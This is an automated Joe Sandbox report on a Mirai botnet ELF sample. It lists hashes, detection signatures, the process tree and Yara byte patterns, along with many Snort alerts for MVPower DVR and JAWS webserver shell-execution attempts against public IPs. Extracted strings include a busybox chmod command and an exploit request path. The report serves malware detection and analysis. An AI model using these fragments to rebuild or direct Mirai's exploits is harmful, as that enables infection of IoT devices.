Edit tour

Linux Analysis Report
5m6jbTvemR.elf

Overview

General Information

Sample name:	5m6jbTvemR.elf renamed because original name is a hash value
Original sample name:	68ca1eb30d68e2fca5cb05dd9c7767e7.elf
Analysis ID:	1408051
MD5:	68ca1eb30d68e2fca5cb05dd9c7767e7
SHA1:	b2c442923cd0fcc7747edeb5f99a210acba5a322
SHA256:	6c382c57f288662c7d91dfe0ca4f3d9915dddf7b2c1803a6bcdb33a41d0b7225
Tags:	32elfintelmirai
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Machine Learning detection for sample

Sample is packed with UPX

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains only a LOAD segment without any section mappings

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1408051
Start date and time:	2024-03-13 09:34:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	5m6jbTvemR.elf renamed because original name is a hash value
Original Sample Name:	68ca1eb30d68e2fca5cb05dd9c7767e7.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/0@2/0

Warnings

HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/5m6jbTvemR.elf
PID:	5531
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

5m6jbTvemR.elf (PID: 5531, Parent: 5448, MD5: 68ca1eb30d68e2fca5cb05dd9c7767e7) Arguments: /tmp/5m6jbTvemR.elf

5m6jbTvemR.elf New Fork (PID: 5532, Parent: 5531)

5m6jbTvemR.elf New Fork (PID: 5533, Parent: 5532)

5m6jbTvemR.elf New Fork (PID: 5534, Parent: 5532)

5m6jbTvemR.elf New Fork (PID: 5535, Parent: 5532)

5m6jbTvemR.elf New Fork (PID: 5537, Parent: 5532)

5m6jbTvemR.elf New Fork (PID: 5538, Parent: 5532)

xfce4-panel New Fork (PID: 5541, Parent: 3235)

wrapper-2.0 (PID: 5541, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5542, Parent: 3235)

wrapper-2.0 (PID: 5542, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5543, Parent: 3235)

wrapper-2.0 (PID: 5543, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5544, Parent: 3235)

wrapper-2.0 (PID: 5544, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 5563, Parent: 5544)

xfpm-power-backlight-helper (PID: 5563, Parent: 5544, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 5545, Parent: 3235)

wrapper-2.0 (PID: 5545, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5546, Parent: 3235)

wrapper-2.0 (PID: 5546, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 5565, Parent: 5564)

xfconfd (PID: 5565, Parent: 5564, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

systemd New Fork (PID: 5572, Parent: 3044)

xfce4-notifyd (PID: 5572, Parent: 3044, MD5: eee956f1b227c1d5031f9c61223255d1) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
5m6jbTvemR.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5531.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xba52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd966:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc48d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5531.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xba22:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5531.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xebee:$x2: /bin/busybox chmod 777 * /tmp/ 0xe938:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xe8a0:$s3: POST /cdn-cgi/
5533.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xba52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd966:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc48d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5533.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xba22:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5533.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xebee:$x2: /bin/busybox chmod 777 * /tmp/ 0xe938:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xe8a0:$s3: POST /cdn-cgi/
Click to see the 21 entries

Snort Signatures

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 61.160.202.82

Timestamp:	03/13/24-09:36:31.643256
SID:	2025883
Source Port:	41788
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 129.13.103.12

Timestamp:	03/13/24-09:36:42.292485
SID:	2025883
Source Port:	48994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.64.173.172

Timestamp:	03/13/24-09:36:46.908705
SID:	2025883
Source Port:	59814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.173.241.216

Timestamp:	03/13/24-09:36:23.766719
SID:	2030092
Source Port:	43582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 74.121.217.94

Timestamp:	03/13/24-09:36:45.716918
SID:	2030092
Source Port:	35858
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 164.92.134.195

Timestamp:	03/13/24-09:35:49.168248
SID:	2030092
Source Port:	36842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 116.58.44.58

Timestamp:	03/13/24-09:36:51.042203
SID:	2030092
Source Port:	54660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 43.227.22.178

Timestamp:	03/13/24-09:36:03.082657
SID:	2030092
Source Port:	46842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 47.100.116.194

Timestamp:	03/13/24-09:36:24.579485
SID:	2025883
Source Port:	57126
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 114.33.81.182

Timestamp:	03/13/24-09:36:55.452980
SID:	2030092
Source Port:	39680
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 206.190.228.216

Timestamp:	03/13/24-09:35:45.304739
SID:	2030092
Source Port:	59740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 54.219.84.144

Timestamp:	03/13/24-09:35:49.160706
SID:	2025883
Source Port:	38208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 88.208.215.188

Timestamp:	03/13/24-09:36:07.193219
SID:	2030092
Source Port:	36210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.19.52.162

Timestamp:	03/13/24-09:36:07.118468
SID:	2025883
Source Port:	40648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.54.107.148

Timestamp:	03/13/24-09:35:42.083363
SID:	2025883
Source Port:	59396
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 109.199.125.205

Timestamp:	03/13/24-09:36:35.266866
SID:	2030092
Source Port:	60646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.71.51.41

Timestamp:	03/13/24-09:36:17.472861
SID:	2025883
Source Port:	46112
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.160.205.137

Timestamp:	03/13/24-09:36:06.144557
SID:	2030092
Source Port:	53128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 44.240.57.71

Timestamp:	03/13/24-09:35:23.469310
SID:	2025883
Source Port:	42208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.6.35.159

Timestamp:	03/13/24-09:35:27.996333
SID:	2025883
Source Port:	50638
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 78.128.68.56

Timestamp:	03/13/24-09:36:51.224437
SID:	2030092
Source Port:	48226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.203.38.149

Timestamp:	03/13/24-09:36:37.802109
SID:	2030092
Source Port:	59768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.49.241.18

Timestamp:	03/13/24-09:35:38.204713
SID:	2030092
Source Port:	38872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 94.120.210.61

Timestamp:	03/13/24-09:36:12.832037
SID:	2030092
Source Port:	57864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 12.171.196.53

Timestamp:	03/13/24-09:36:35.217081
SID:	2025883
Source Port:	48862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 138.100.153.96

Timestamp:	03/13/24-09:36:38.176011
SID:	2030092
Source Port:	45996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 159.69.95.59

Timestamp:	03/13/24-09:36:45.951308
SID:	2025883
Source Port:	60874
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.55.75.181

Timestamp:	03/13/24-09:35:33.034272
SID:	2030092
Source Port:	36274
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 63.35.173.53

Timestamp:	03/13/24-09:35:45.537521
SID:	2030092
Source Port:	53230
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 202.62.220.100

Timestamp:	03/13/24-09:35:36.512429
SID:	2025883
Source Port:	44814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 107.178.248.134

Timestamp:	03/13/24-09:36:35.185976
SID:	2025883
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 186.7.191.138

Timestamp:	03/13/24-09:36:42.268960
SID:	2025883
Source Port:	39156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 5.79.67.86

Timestamp:	03/13/24-09:36:38.252910
SID:	2030092
Source Port:	45822
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 150.60.7.143

Timestamp:	03/13/24-09:35:48.996515
SID:	2030092
Source Port:	56698
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 207.23.179.76

Timestamp:	03/13/24-09:35:41.278447
SID:	2030092
Source Port:	48282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 81.158.178.51

Timestamp:	03/13/24-09:36:45.952634
SID:	2025883
Source Port:	39240
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.173.186.56

Timestamp:	03/13/24-09:36:41.409095
SID:	2025883
Source Port:	42506
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.66.137.67

Timestamp:	03/13/24-09:36:31.370849
SID:	2030092
Source Port:	57080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 37.116.86.63

Timestamp:	03/13/24-09:35:56.692950
SID:	2030092
Source Port:	50836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.165.55.231

Timestamp:	03/13/24-09:36:11.864411
SID:	2030092
Source Port:	50680
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 147.255.147.103

Timestamp:	03/13/24-09:35:32.552165
SID:	2030092
Source Port:	37936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 186.7.191.138

Timestamp:	03/13/24-09:36:42.268960
SID:	2030092
Source Port:	39156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 116.58.44.58

Timestamp:	03/13/24-09:36:51.042203
SID:	2025883
Source Port:	54660
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 47.24.170.124

Timestamp:	03/13/24-09:35:21.201633
SID:	2030092
Source Port:	60148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 63.35.173.53

Timestamp:	03/13/24-09:35:45.537521
SID:	2025883
Source Port:	53230
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 84.33.8.231

Timestamp:	03/13/24-09:36:42.303924
SID:	2025883
Source Port:	52702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.173.241.216

Timestamp:	03/13/24-09:36:23.766719
SID:	2025883
Source Port:	43582
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.173.186.56

Timestamp:	03/13/24-09:36:41.409095
SID:	2030092
Source Port:	42506
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 185.249.70.206

Timestamp:	03/13/24-09:35:53.308919
SID:	2025883
Source Port:	39066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.197.183.33

Timestamp:	03/13/24-09:36:21.409875
SID:	2025883
Source Port:	48502
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 116.162.161.24

Timestamp:	03/13/24-09:35:02.865989
SID:	2030092
Source Port:	50854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 184.24.27.148

Timestamp:	03/13/24-09:36:12.695319
SID:	2025883
Source Port:	40730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 44.240.57.71

Timestamp:	03/13/24-09:35:23.469310
SID:	2030092
Source Port:	42208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 35.170.175.108

Timestamp:	03/13/24-09:36:21.077908
SID:	2025883
Source Port:	54430
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.54.107.148

Timestamp:	03/13/24-09:35:42.083363
SID:	2030092
Source Port:	59396
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 206.190.228.216

Timestamp:	03/13/24-09:35:45.304739
SID:	2025883
Source Port:	59740
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 35.156.28.97

Timestamp:	03/13/24-09:36:06.207197
SID:	2030092
Source Port:	50450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 101.178.248.87

Timestamp:	03/13/24-09:35:51.514577
SID:	2025883
Source Port:	59572
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

